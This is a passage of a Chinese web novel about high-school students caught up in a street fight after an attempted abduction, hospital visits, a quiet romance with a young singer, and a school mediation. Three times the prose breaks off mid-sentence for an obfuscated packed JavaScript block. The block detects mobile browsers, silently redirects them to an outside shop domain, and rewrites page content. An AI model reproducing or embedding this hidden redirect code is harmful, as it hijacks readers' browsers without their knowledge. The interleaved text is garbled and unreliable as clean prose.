周围的人纷纷尖叫散开,却又远远地围成一个圈。人越聚越多,可是都在一旁看着,没有人敢上去拉架,只怕是三个醉鬼打架闹事。 毕竟,这里是酒吧街,打架在这条街再寻常不过。 谷奕虽然力气大,也很会打架,但是那两个人满身肌肉,身体强壮,谷奕以一敌二迅速落入了下风。 当酒吧门口的几人还在震惊谷奕直接冲出去的时候,谷奕刚踹倒光头男,就立刻被旁边的口罩男揍了一拳,掀翻在地,眼看已经落入劣势。 …… 李鸣月瞪大眼睛,下一秒余光扫到楚恒,发现他居然也跑上前几步,准备冲出去。 “操!楚恒!你给我回来!” 李鸣月气急败坏地拉住他。 “你一个艺人在外面打架,你还要不要混了?” 她冲着酒吧里面喊:“小周!小周!快带人出来!” 她话音刚落,酒吧里立刻冲出来三个浑身是肌肉的男人。李鸣月往街角的方向一指,为首的小周立刻朝着街角那三人的方向冲了过去。 …… 三人训练有素,都是李鸣月请来专门维持酒吧秩序的。 小周冲后面两个人使了个眼色,两人立刻会意,迅速上前,从后面紧紧抱住了那两个黑衣男的手臂,一下子就控制住了他们,场上的局势瞬间扭转。 ——小周却慢了几秒,没动。 趁着这几秒,谷奕一个骨碌从地上爬起来,冲着眼前被控制住的两人的肚子,立刻狠狠踹了好几脚。 ——小周在一旁盯着,一边看着两个黑衣男被谷奕踹得大声叫嚷、双目赤红,一边全神贯注数着秒。 眼看时间差不多了,他立刻上前,用一样的方法从身后抱住谷奕,装作努力控制住正在挣扎的谷奕的样子,大声喊道: “别打了!别打了!以和为贵!以和为贵!” …… 谷奕被人从身后抱着,手臂被紧紧地控制住。 他冲着两人暴怒吼道: “回去告诉杨天奇!老子以后见他一次打他一次!操他全家!老子跟他没完!” …… 李鸣月远远地看着,看见情况总算被控制住了,暂时松了口气,也松开了楚恒。 她回头看向苏琬:“琬琬你还好吗?你们到底发生什么了?” “学校里的一个混混,缠上了我和谷奕,前几天他找人在巷子里堵我们,已经打过一架了。今天我和杯子出门来这里,路上这两个男人突然就想直接拖我上车。我们跑出来了。” 楚恒沉默地站在一旁,深呼吸几口气,冷静下来。 他看了一眼坐在门口凳子上的黄怀予和苏琬,皱眉低声问:“要不要报警?” 李鸣月神色有些复杂。 “人这么多的市中心,都敢直接拖人上车,这无法无天的样子,报警可能都没用。” 苏琬着急地拉着黄怀予的手:“我们先去医院吧,杯子应该受伤了。” 李鸣月低头想了几秒,叹了口气。 “我来报警。苏琬你帮我打电话给喻轻泉,让她开车过来。我和谷奕小周拉住那两个人,在这里等警察过来。楚恒你先回去,你明天还要回帝都,而且这种事你少参与。” 她起身,一边拿出手机拨打电话,一边走进酒吧,跟门口驻足的人交代:“今天临时歇业,给店里剩下的所有客人打半折,先不用收拾东西打扫了,半小时内结账关门。” …… 楚恒站在原地。 李鸣月三言两语就把所有人安排好了。 谷奕还在街角愤怒地大骂,苏琬在给喻轻泉打电话,酒吧里的工作人员已经开始迅速行动,客人三三两两已经从大门离开。 所有人都在帮忙解决这件事,有人冷静地处理结果,有人愤怒地为朋友发泄。 ——但是,在场所有人,只有他一个人站在原地,只有他得到的安排是“回去”。 …… 他不属于这里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252949|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不属于楚门和1969,他不属于这里的社交圈,他和这里所有人的职业都不同。 ……尽管,在楚门的这三天,是他几个月里,最放松的三天。 他“不应该”一时冲动在街头打架,“不应该”参与斗殴事件,“不应该”帮朋友和曾经的老师解决麻烦。 ——但是他“应该”回去。 “应该”回帝都,回到那个地方,继续在空无一人的昏暗练习室里唱着永远也不会有人听到的歌,继续在镜头面前讲着根本不存在的团队友好故事,继续顶着不属于他的人设,像商品一样被公司指示摆布。 …… 他低下头,却一下子就看见了墙边,缩成一团的黄怀予。 她靠着苏琬,头发散乱,脸颊红肿,衣服皱巴巴,嘴角还有血迹。 又遇见她了。 他只来楚门三天,居然每一天都遇见了她。 第一次见她,她是自己唯一的听众,很痛苦,捂着肚子,快要把胆汁吐出来了,可怜兮兮地缩在医院冰冷坚硬的椅子上打针,却还看着手机嘻嘻哈哈地笑,说喜欢吃就吃了,哪有那么多为什么。 第二次见她,她在球场两个男生大声的玩笑中低头,之前的自信爽朗突然消失,像是逆来顺受的受欺凌对象,半天也说不出一句话。 第三次见她,她从两个凶神恶煞的歹人手下逃出来,扑通一声摔倒在自己面前。这么狼狈,一定是狠命挣扎,才能从那两个男人手里跑出来。 …… 楚恒皱眉,静静地凝视着她的脸。 她到底是一个什么样的人? 和谷奕针锋相对,却帮谷奕在教导主任面前顶罪。 明明很瘦,却还这么能吃,直接吃成急性肠胃炎。 吐得那么难受,却还在医院里有一搭没一搭地跟他开玩笑。 像只刺猬一样一挑就炸,却在程朗的暗恋指控面前低头沉默。 …… 他从来没见过这样的人。 或许是他注视的眼神太过直接,黄怀予睫毛抖了抖,慢慢睁开了眼睛。 ——一下子就撞见楚恒那双深沉的眼睛里。 她眼镜没了,此时三百多度的近视让这个世界对她来说都是马赛克。 ——包括楚恒。 黄怀予只是模模糊糊地看着,感觉楚恒好像在看自己,但是对方混成一团的脸实在是看不清楚。 于是她放弃了,就这样睁着眼,毫无波澜、没有焦距地盯着楚恒的脸发呆。 …… 两人隔着一两米的距离平静对视。 她盯着自己的眼神实在是太直接,太平静,眼睛都不眨,一直持续了十几秒。 ……十几秒后,楚恒终于呼出一口气,拜下阵般地移开视线。 几秒钟后,他听见自己的声音,开口问道: “为什么,今天晚上要来1969?” 他声线低沉,和平常一样,没什么情感波动。 周围的人都在忙着,黄怀予闻言,懵然左右看了看,这才意识到楚恒是在和自己说话。 “啊?” 她茫然应了一声,反应过来以后瞬间清醒过来,有些不好意思地缩了下脖子。 ……还不是因为觉得你会来。 她又突然想到什么。 这是我小姨的店,我凭什么不能来? ……难道你以为我是过来见你的? 黄怀予立刻来了底气:“来我小姨的店看看啊。” 她眼前仍然一片模糊,所以她看不见,她说完这句话后,楚恒面无表情地看着自己,极其缓慢地眨了一下眼睛,然后,低头,微微笑了一下。 “是吗。” “可惜你来得有点晚了,我们今晚的表演已经结束了。” …… “没关系,正好你不是结束了刚出来吗。” 她脱口而出,反应过来自己说了什么之后又一下子闭上嘴,眼珠子骨碌碌转。 操!嘴太快,把实话说出来了! 她不敢说话了。 左手手腕又开始疼起来,黄怀予忍住痛,闭上眼睛,开始装死。 29. 第 29 章 “……其实,你不用跟我们一起过来的。” 楚门市中心医院影像科门口的长椅上,黄怀予看着并排坐在自己旁边的楚恒,皱着脸,犹豫再三还是开口道。 …… 一小时前,几人在酒吧门口等到了警察。 本来以为只是普通的打架斗殴,但是黄怀予指着两个黑衣男喊道: “是因为他们俩想拐卖我们!我们逃出来了,他们还一路穷追不舍,所以我朋友才动手了!” “你放屁!你说谁拐卖!” 光头阴森地看过来,怒吼。 “就是拐卖!就是拐卖!” 黄怀予大声嚷着:“拐卖妇女加故意伤害!还有意图强/奸未成年女性!” ——这下性质就变了,警察也严肃起来。几人被安排先来医院验伤,两个黑衣男也受了伤,也在警察陪同下来了医院。 李鸣月和谷奕跟着警察,苏琬被喻轻泉扶着去验伤,而黄怀予……最后则被分给了同样落单的楚恒,让他陪着自己去拍X光。 …… 黄怀予在医院影像科门口坐着等护士叫号,还偷偷瞄了好几眼右边静坐的男生,心想怎么又是在同一家医院,大晚上和他单独在一起的场景。 这人明明就可以直接回去,本来这些事也跟他没关系。 ——不知道为什么,非得留下来。 她在安静到有些尴尬的气氛中胡思乱想,周围医院的场景让她居然又莫名其妙想到了,那天晚上在医院,她醒过来时,在怀里发现粉色热水袋的场景。 心跳越来越快。 她又往右觑了一眼,看见那人手里,还拿着自己的病历单和检验单。 …… “黄怀予!” “到!” 她打个激灵,站起来。 门口的医生冲她伸出手,她有些茫然,一下子没反应过来什么意思。 突然后方伸过来一只手,把她的病历单和检验单递给了医生,动作熟练得像是已经做过了很多次。 …… 楚恒跟着她走了进去。 黄怀予龇牙咧嘴地站在仪器前,看着自己的左手,看了好几秒。 等到拍完,才问医生: “这个伤不用住院吧?” “可以回去上课吧?” “现在还不清楚,要等结果出来了才知道。” 医生看她一眼:“你这么着急?” 又看了一眼她的病历单,了然般哦了一声:“17岁,高中生吧?” 她点点头,神色认真,看着自己的手。 “是啊,学习紧张。” …… 黄怀予和楚恒一起等了一会,结果出来了,医生说看X光结果,显示没有骨折的迹象。 她又按压了一下黄怀予的手腕,黄怀予直喊疼。 医生说按照自己的经验,应该是骨折了,再拍个CT看看。 黄怀予皱眉看着自己的手,看着看着,竟然不自觉笑了出来。 “笑什么?” 旁边传来一道低沉的嗓音,黄怀予抬头,看见楚恒模糊不清的马赛克脸。 她看不见楚恒的表情,只是实话实说道: “我在想,幸好不是右手,不然影响我写字。” …… 在一旁听着的医生笑了出来。 “没见过你这么认真的学生,手骨折了,第一反应居然是这个。” “你哪个学校的?”医生看她一眼,“一中的吧?” 黄怀予震惊点点头:“对。” 那医生意料之中地笑笑:“一看你就是一中的,这么认真。” “唉,要是我孩子有你一半爱学习,我也不这么操心了。” …… 等到黄怀予和楚恒拍完了CT,在影像科门口等着CT结果的时候,黄怀予已经凭借着自己到哪都能聊起来的本能,加上了那个医生的微信。 那个医生直把黄怀予夸成了“别人家的孩子”,一定要回去让自己家孩子好好向黄怀予学习,又认真向黄怀予请教了她初中的时候有没有补过课,问楚门哪些补课机构比较好。 补习机构? ——问别的,黄怀予还不一定了解,但是问这个,楚门没人比黄怀予更了解。 “补习机构我懂啊!” “我从小就一路上补习班过来的,楚门90%的补习班我全都上过!” 这话说完,黄怀予就看见,对面医生的眼睛里立刻亮了。 “体育馆的青少年培训中心,什么科目都有,还有舞蹈和唱歌。英语刘老师比较出名,但是听说最近离开这个单位了。而且那里的教室环境不好,厕所太脏,不推荐。” “人民路的作文张老师,很有名,每天上课就是直接发一套语文卷子,给四年级的做小升初的卷子,给初一的做中考卷子。但是人太多,教室太小,很挤。” “移动广场的数学方老师,讲得很清楚,基础差基础好的都适合,我初中在他那里学了一年多,最后数学可以稳定110以上。但是他看不起我,我跟他说我总分在班里是全班第二,他还不信!气死我了。” “文化宫的敏学,算是楚门最有名的英语补习班,老师王敏,教新概念。她那里教的很多,也带英语竞赛,周围都是很厉害的学生。不过我那一届好像是她带的最后一届,她之后就当老板了,不教书了,之后听别人说其他老师都不如她。” …… 黄怀予滔滔不绝地说着。 不用打草稿,不用思考,全都是她的亲身经历。 学习是她这么多年付出最多、坚持得最久的一件事,她背着书包,穿过楚门大大小小的街道,走过楚门的夏日和冬风。 她也不知道自己为什么要学这些,她只知道她要升学,要考试,要考第一名。 …… 楚恒坐在一旁,垂眸,静静地听着。 …… 那个医生已经完全成为了黄怀予忠诚的粉丝。 她微信直接给黄怀予发了一个50块的红包,让黄怀予一定要收下,自己孩子明年考高中,可能会来咨询黄怀予很多事。 黄怀予拍着胸膛说没问题,医生欢天喜地地走了。 影像科外的长椅边又变得寂静。 黄怀予和楚恒两个人并排坐着,安静的世界里只剩下对方。 她想到刚才和医生一顿狂说的时候,楚恒就坐在旁边,从头到尾全都听到了,不由得后知后觉感到一丝尴尬。 她偷偷瞄他的侧脸,眯起眼睛还是只能看见一团马赛克。 …… 这时她突然想到什么,开口问道: “刚刚所有的费用,你交了多少钱?” 楚恒回答:“七百多。” 黄怀予想到上次急性肠胃炎也是楚恒付的钱,李鸣月后来转给他他还不收,心里很过意不去,于是掏出手机。 “加个微信吧,我还给你。” 又突然想到自己没有银行卡,微信平时只是用零钱收一点几十块的小红包。 “哦等一下,我微信里没钱,给你现金行吗?不过我现在身上没有这么多钱,等我明天回去之后管我家长要,然后给你。” “啊!等一下,李鸣月说你是不是明天就要回帝都了?那……” “那要不还是让我李鸣月转钱给你。” 说着说着,黄怀予突然闭嘴了。 她发现楚恒一言不发地听着自己哗啦啦说了一大通,最后自己得出的结论竟然是可以让李鸣月直接微信转给他。 ——那他们两个人还有必要加微信吗? 她一下子想到了这一点,掏手机的动作一顿。 …… 怎么办!她真的只是想还钱,不是为了加他微信! 但是现在,他们俩不用加微信也能还钱! 可是现在如果又突然说不加了,会不会让楚恒觉得她是为了加他微信但是失败了? …… 楚恒一言不发地看着对面的女孩。 她像刚才和医生介绍补习班的时候一样,叽里呱啦说了一大堆话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252950|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要和自己加微信。 说着说着却突然停住动作,低头,皱起鼻子,嘴唇红红的,手上还拿着刚刚掏出来的手机,保持这个动作好几秒都没动,脑子里不知道正在想些什么,仿佛进退维谷,左右为难。 “好。” 黄怀予还在那里天人交战,却被楚恒的声音给打断。 “啊?”她一愣,随后点头,“哦!好的,那我就让我小姨直接转钱给你。” “不是。” 他看着黄怀予,声音清清楚楚地传进她的耳朵里。 “我说好,我们加微信。” …… 黄怀予盯着手机上对方的蓝色夜空微信头像,想自己要给他什么备注比较好。 还没想出来,李鸣月的消息就来了。 她问楚恒现在是不是和自己在一起,以及楚恒明天的高铁是几点钟。 黄怀予抬头。 “李鸣月问你明天几点的高铁。” 却见对面的人轻垂着眼,摇摇头。 “不重要了。我后天再回去。” 黄怀予照实回了消息,感到有点不好意思,因为自己的事影响到了他。 “要不你还是明天就回去吧,你们明星不是都很忙的嘛?”她低着头一边打字一边说道。 ——半晌才听见对面回答一声,似是自嘲般。 “也许别人忙。但是,我不忙。” …… “这么好?” 黄怀予只觉得他这工作时间自由,赚得还多,很是羡慕:“那你很自由啊。” “……” “自由?” 她没了眼镜看不见,对面楚恒重复了一遍她的话,抬眸看着她。 “对啊,比我自由。” 黄怀予伸出自己肿得像猪蹄一样的左手手腕,苦笑道:“每天生活里只有上学读书考试,和周围人留着一样的头发,做着一样的题。” “就连骨折了,第一反应都是会不会影响学习。” “已经被完完全全地规训了。” 楚恒沉默几秒,缓缓开口:“那什么,才是自由?” “……”她思索几秒,摇摇头。 “没有自由。” “人生而自由,又无往不在枷锁之中。” “大家都是这么不自由地活着。仅此而已。” …… 她看向对面模糊的人,因为看不见他那张让人一看了就呼吸混乱的帅脸,所以此时此刻黄怀予感到十分自在放松。 她靠在椅背上,问出了那个见楚恒第一面就想问的问题。 “楚恒,你为什么不开心?” 少女的眼神明亮,声音轻快。 “是有人欺负你吗?” “还是,你觉得实现不了自己的梦想?” ——黄怀予轻飘飘的话像一道雷,砸在了两人中间。 …… 楚恒身体骤然僵硬。 他转头,晦暗地盯着面前的女生,眼神深沉,如墨般漆黑,像深不见底的大海。 ……她对自己的生活一无所知,甚至,只认识了自己三天。 可是她就这样无所谓地、轻飘飘地,说出了两句重达千斤的话,直直地刺入了他的心脏。 黄怀予没听见回答,但是她知道自己猜对了。 反正周围所有人活着不开心,都是这两个原因。 ——她初中的时候也是。 …… 而且她也没指望从楚恒那里得到什么回答,因为,他不开心,不愿意说话。 她只是想知道,他为什么不开心。 因为,开心很重要。 她继续说道: “如果有人欺负你,你把他微信给我,我帮你骂他。” “你知道的吧,我很擅长骂人的。保证骂得他屁滚尿流,再也不敢欺负你。” “如果你觉得实现不了你的梦想,那你就想多了。” “你还没实现,你怎么知道你实现不了呢?发生在明天的事,今天永远也预料不到。” 30. 第 30 章 “如果有人欺负你,你把他微信给我,我帮你骂他。” “你知道的吧,我很擅长骂人的。保证骂得他屁滚尿流,再也不敢欺负你。” “如果你觉得实现不了你的梦想,那你就想多了。” “你还没实现,你怎么知道你实现不了呢?发生在明天的事,今天永远也预料不到。” 楚恒怔怔,直勾勾地盯着面前的女生。 …… 黄怀予看不见他的表情,只是低头看了一眼手机。 “你的头像跟谷奕的好像啊,都是这种深蓝色的夜空。” “没想到我也有一天能加上明星歌手的微信!哈哈哈。” 她笑嘻嘻的,喜滋滋地看了好几眼手机屏幕。 ……对面却传来一道涩然的声音,夹杂着自嘲,轻轻说: “不是明星,只是一个,普通人。” “没有人会听我的歌。” …… 黄怀予抬头看他,不赞同地说:“我不就听过吗。” “《孤单行星》。对吧?” 她想到从见面第一眼,这个人就总是冷淡消极,明明骨子里是个很好的人,又给自己送水,又给自己借热水袋。 难得今天两个人有机会坐在一起随便聊聊,黄怀予坐在医院放射科外面的椅子上,对面楚恒的脸一团模糊,她义无反顾生出了一点朴素的正义感。 黄怀予坐起来,认真地看他。 “你怎么老说丧气话?” “不就是梦想自己会火吗?梦想会有一大堆人听到你的歌吗?” “我还觉得我就是这一届高考的文科状元呢!” “是金子总会发光的。虽然这句话很土,但是它是真的。” …… 发光? 楚恒听见自己的声音,沙哑干涩。 “如果没有光源,周围都是黑暗。就算发光,也没有人会看见。” 黄怀予不在意地接话: “如果没有人看到你的光,那就自己成为一个太阳。” …… “苏琬就老说我像一个太阳。虽然我也不知道我哪里像了,我夏天最怕热。” “但是我想,如果自己成为光源本身,就不用反射别人的光来让别人看见自己了吧。” 她隔着医院中间的一个座位,轻轻拍了拍他的肩膀。 “你要是担心你不会被人看见,那纯属杞人忧天。就你这张脸,旁边的蚊子看到了都想多吸两口血。” …… “55号,黄怀予!” “哎!” 黄怀予站起来举手。 “光顾着在这两小儿辩日了,差点忘了正事。” 那医生把检查报告递给她:“轻微骨折。保守治疗就行,等会去打石膏。” “……” “打石膏?!”她张着嘴,半天都没伸手接,脸都吓得皱了起来,挤出两个字,“痛吗?” ——旁边伸过来一只手骨凸出的手,再次熟练地,帮她接过检查报告。 她转头,只能模糊地看见一个高大的身影。 “走吧。” 那人站在她身旁,帮她接过她的报告,垂眸看着她。 ……他这是,要和自己一起去? ——黄怀予心跳漏了半拍。 闻到他身上传来的淡淡香味。 是小苍兰。 ……她莫名感到安心。 “……” 楚恒微微低头,看见面前的女孩站着不动,只是呆呆地仰头看着自己,眼神直勾勾地、不加任何掩饰,一直看着自己的脸,看了五秒钟。 ——跟在1969门口一样。 “……” 他轻咳两声,看着她,又想到她刚刚直截了当地说自己长得好看,“旁边的蚊子看到了都想多吸两口血”。 ……她似乎总是这样,之前送她去医院,在出租车里时,她也是能这样对着自己直接说自己长得好看的话,尽管那个时候他们才刚刚认识不到两小时。 楚恒沉默,半晌才开口。 “为什么又这样看我?” 黄怀予眨眨没有焦距的眼睛。 “因为,我的眼镜被甩飞了。我现在等于一个盲人。” 楚恒一愣。 ……是因为这个? 他有些梗住,一下子不知道该作何反应。 ——没想到,黄怀予继续缓慢地说: “不过我真希望,现在能看到你的脸。” “应该和之前看到的一样好看。” * 凌晨十二点多,黄怀予做了人生中第一份笔录。 街角的监控早就被先一步毁掉了。 虽然当时有经过的路人可以作证,确实有两个男人强行拖两个女生上车,但是光头却一口咬定,是他把黄怀予和苏琬认成了自己的妹妹。 ——之后的所有挣扎、追逐、暴力,都被解释成了要带自己的妹妹回家。 不仅如此,自己和同行的口罩男还被黄怀予和苏琬踢了裆、抠了眼睛,叫嚷着自己也受了很严重的伤。 之后在酒吧门口,光头也一口咬定自己只是在街角站着,是谷奕先动手,一上来就踹了自己,最后两方才被酒吧的工作安保人员拉开。 疑罪从无,没有实质性的证据,只能批评教育和调解,最多行政拘留。 谷奕十分坚持,两个黑衣男的幕后主使是杨天奇,可是两人怎么都不承认。 …… 警察带着人离开了,楚恒出去给大家买水,房间里只剩下他们三个人和李鸣月喻轻泉。 苏琬坐在椅子上,左脚脚腕打了石膏。 她叹了一口气,说:“这次多亏了小姨酒吧的工作人员小周他们,把那两个人拉住了。” “那是。小周可是我的保安队长,经验丰富。” 李鸣月得意起来,说出一句金句。 “开酒吧,可以没有酒保,但是不能没有安保。” “……” 旁边的谷奕听了这话,气不过,人还躺在病床上,就立刻开始复盘。 “我怎么会输!” “让他们跟我一对一地打!我一定赢!” 说着说着太激动,扯到核心,咳嗽起来,又哎呦哎呦地喊痛。 …… 黄怀予坐在角落的凳子上,看见苏琬左脚脚腕也打了石膏,立刻问:“琬儿你怎么样!泉姐,苏琬的脚怎么样?” 苏琬脸色有些虚弱,应该是刚刚痛得厉害。 她笑笑,冲自己摇头:“没事的。” 黄怀予完全不信,知道苏琬一定说得轻巧,立刻转头问旁边的喻轻泉:“泉姐!” “轻微骨折。现在打了石膏,养三个月,逐渐增加训练,三个月后如果恢复得好,就能拆了。” 喻轻泉安抚地看着她,“不是特别严重,好好养就没事的。” “……” 得到了答案的黄怀予终于放下心,她苦笑着看了自己同样打上了石膏的左手手腕。 “现在我们俩跟谷奕,三个人站成一排,都能被消除了。” …… 话音刚落,房间门口进来一个高挑的身影——楚恒戴着口罩,戴上了灰色连帽衫的帽子,手上拎着一个大塑料袋,里面装了好几瓶水和一些零食。 李鸣月和喻轻泉上前接过,各自给了谷奕和苏琬一瓶。 李鸣月转头,正想再去拿一瓶给自己外甥女。 ——就看见,楚恒拿出一瓶水,朝着黄怀予直直地走了过去,一边走,双手已经顺手拧开了瓶盖。 …… 黄怀予模模糊糊里只看见那个高大的灰色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252951|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影朝自己一步步走过来,走到自己面前,递给自己一瓶水。 她伸出右手去拿,仔细一看,才发现是已经拧开了瓶盖的。 “手还痛吗?” 他低声问。 ??? 这短短一句话在安静的房间里响起,在场的所有人全部都露出了精彩的表情。 …… 李鸣月作为全程在旁边围观的第三方,此时已经目瞪口呆。 ——她什么时候见过楚恒这样关心一个人??? 楚恒见谁都冷淡,看谁都漠然,不关心社交,不在意情感,和他说话如果能理你一句都算不容易。 在这间屋子里,除了谷奕,她自诩是这几个人里跟楚恒最熟的,起码他以前是自己的学生,还恭恭敬敬叫自己一句月姐。 ……然而此时,她瞪大眼睛,看着楚恒十分自然地拿出一瓶水,从房间门口就这样方向明确地走向了角落的黄怀予,贴心地拧开瓶盖,最后居然还加上了一句堪称暧昧的关心。 …… “手还痛吗?” 谷奕瞠目结舌,在后面咆哮: “哥们儿!我被杨天奇那两个喽啰打得半死,你怎么不问我痛不痛?!” 黄怀予看楚恒一眼,摇摇头,示意自己没事。 她眼前一片模糊,感觉自己对外界的感知也跟着没那么敏感了。此时此刻房间里众人各异的表情,她一个也看不见,唯一就只能听见谷奕杀猪般希望获取关注的嚎叫。 “大傻,都什么时候了,说点正事行吗。” 黄怀予哼一声。 “……对对对。”李鸣月看黄怀予一眼,立刻转移话题,“刚刚警察说,那两个男的说自己也受伤了。” “但是,他们俩真的伤得那么重吗?” 李鸣月发出了真的疑问:“会不会是装的?” 喻轻泉思考两秒,问黄怀予和苏琬:“你们俩当时逃出来的时候,是怎么弄伤他们的?” 一提到这个,黄怀予瞬间就来精神了,立刻就准备复述两人的侠义之举。 她得意洋洋:“姐可是狠狠踢了那个口罩男的裤/裆!都踢得他跪下来了!” “物理阉割!懂不懂!” 苏琬:“我也是抠了那个光头的眼睛。当时挣扎的时候往后看了一眼,感觉他当时应该挺痛苦的。” 黄怀予听完苏琬的话,更加得意: “咏春!标指!” “姐,牛逼。”谷奕真心实意地称赞道。 …… “但是,如果他们坚持这件事和杨天奇没关系,那警察能查出来吗?”苏琬神色有些担忧。 谷奕听到这个立刻就来气了,想到杨天奇就咬牙切齿,直接一个电话打给了马辉。 …… 于是,在星期一的凌晨一点多,马辉气喘吁吁、眼下乌青,出现在了楚门市中心医院的大门口。 他沉着一张脸,怒气冲冲地走进病房。 ——却看见,苏琬脚腕骨折,黄怀予左手骨折,谷奕躺在病床上,三个人齐齐整整全部都受着伤,眼巴巴地看着他。 “……” 马辉一下子什么都说不出来了。 他走来走去,脸色阴沉地说: “明天去朱主任办公室,杨天奇也会去。” 他又接着走来走去,来来回回扫视着眼前这三个人,脸上青青白白,终于挤出一大段话,在三人面前爆发。 “让你们两个带谷奕回来上课!让他学点好!” “结果呢!” “你们逃晚自习被朱主任发现,又当着她的面逃跑,在开学典礼上被全校通报批评!和杨天奇一大早就在食堂打架,都见血了!今天更是伤的伤,残的残,直接把警察都弄来了!” “你们以为自己在拍武侠片啊,闯荡江湖啊?!” 31. 第 31 章 楚恒踏上了回帝都的高铁。 黄怀予、苏琬和谷奕,三人集体请假。 …… 昨天晚上马辉说让三个人去朱秋霞办公室,黄怀予就已经心里一颤。 ……天知道,她在楚门一中呆了两年,都从来没有去过朱秋霞办公室。 自从高三九月份认识谷奕以来,一件事接着一件事,一个月的时间她居然已经去了三次! 她心情复杂地看看自己硬邦邦的左手,心想这件事一开始完全是因杨天奇而起,自己现在作为病号,或许可以或多或少受到一些怜悯? ——结果下一秒,前方就传来谷奕正大光明的声音: “我不去。” …… 他躺在病床上,直截了当地给马辉展示自己完全不能下床的现状。 “如果杨天奇也会去朱主任办公室,那直接让他来我病房。” 他抱着手臂,满脸桀骜。 “让我去学校找他,想得美!” “这件事不让杨天奇付出代价,我就不姓谷。” …… 黄怀予不知道马辉回去是怎么跟朱秋霞说的,也不知道谷奕到底有多大的面子。 ——或者说,那位胜家酒店的谷女士到底有多大的面子。 但是她只知道,周二上午,她直接在病房里看见了周卫东和朱秋霞。 ——以及杨天奇。 ——和一个自称杨天奇叔叔的人。 …… 那人约莫四十岁,五短身材,穿着白衬衫,拿个黑色的公文包,戴着眼镜,像反贪电视剧里才会出现的人物。 他长袖善舞,满脸堆笑,自我介绍叫陈朋,一上来就说这些全部都是误会,给学校添麻烦了,绝口不提杨天奇主动找人拖女生上车的事,只说希望调解赔偿。 ……而旁边的杨天奇,背着手站在一边,像是整件事情都与他无关,一脸不屑,时不时恶狠狠地瞪着谷奕和苏琬。 …… “你,是叫谷奕吧?” “谷奕同学你好。你家长呢?” “要不,我跟你家长谈谈吧。” 陈朋弯着腰,脸上的肉挤在一起,又把眼镜腿也给夹在了中间,只看他这副样子,简直称得上礼貌谦卑。 谷奕一脸倨傲,仰着头。 “不用,就跟我谈。” …… 陈朋上下打量了谷奕一下,突然露出了一个了然的笑。 他转身,在整个病房里扫视了一圈,一个一个看过黄怀予、李鸣月,最后,目光落在了角落里的苏琬身上。 ——洗得有些发白的T恤,不太合身的长裤,扎普通的马尾,脚腕上打了石膏,一个人安静地坐在角落。 他立刻对着苏琬露出一个微笑。 “这位是,苏琬同学吧。” “你呢?你总不会也没有家长吧。” …… 苏琬一下子在众目睽睽之下被点名,一时间病房里所有人都看着她。 她突然有些慌乱,看着眼前这个陌生男人,不知道该怎么回答。 …… “别烦她,让你跟我聊!” 谷奕急了,喊道: “这件事杨天奇不给个说法,我绝不善罢甘休。” “想给点钱就打发,门都没有!” …… 谷奕声音极大,而陈朋却如同没听见。 他拿出了手机,在屏幕上打了几个字,面带微笑,递到苏琬面前。 ——“6万” 苏琬看清了手机上的字,有些不可置信地抬起了头。 ——那人依然笑着,眼睛眯成了一条缝,可是苏琬却只觉得他的笑容里却藏了无数阴险。 “他没有家长,你总有吧?” “让你家长来聊聊吧,我想他们会有新的想法。” 6万。 6万…… 6万是多少钱? 妈妈一份工作一个月赚3000。 6万,妈妈不吃不喝,要赚一年多。 “……” 苏琬低下了头,默默捏紧了拳头。 陈朋一下子注意到了苏琬的所有动作和神态,露出胜券在握的表情。 他挺直腰,把手机打开拨号页面,递给了苏琬。 “你可能没有手机吧?” “用我的,给你父母打个电话吧。让他们过来一趟,我们等会约个地方好好聊。” …… 手机递出去,却迟迟没有人接。 病房里陷入几秒的安静,所有人的目光都集中在苏琬身上。 谷奕睁大眼睛,死死盯着苏琬,却没法再说出任何话。 ……她会接受吗? …… 黄怀予站在苏琬左边,看着陈朋递过来的手机,没有说话。 …… “不用了。” 苏琬默默良久,抬起头看着陈朋,说道。 此话一出,陈朋自信放松的表情骤然消失,满面怀疑地看着与他直直对视的苏琬,眼里透出惊讶与不解。 “……你觉得不够?” 他笃定地问出口,又把手机拿回来,准备再打上几个字:“那再……” ——“她说不用了。” 陈朋的手机被旁边伸出来的一只手挡住。 他抬头。 黄怀予身姿挺拔,站在一边,左手打着石膏,右手挡住他的手机,与他不卑不亢地对视。 “这件事我们的家长在昨天就已经知道了。如果您要聊,今天下午,我们两个人的家长都会去朱主任办公室,在朱主任、周校长和警察的共同见证下,和杨天奇以及杨天奇的家长正式谈谈。” …… “……”陈朋眯了眯眼,认真地看了黄怀予几秒。 黄怀予面无表情地与他对视着。 …… 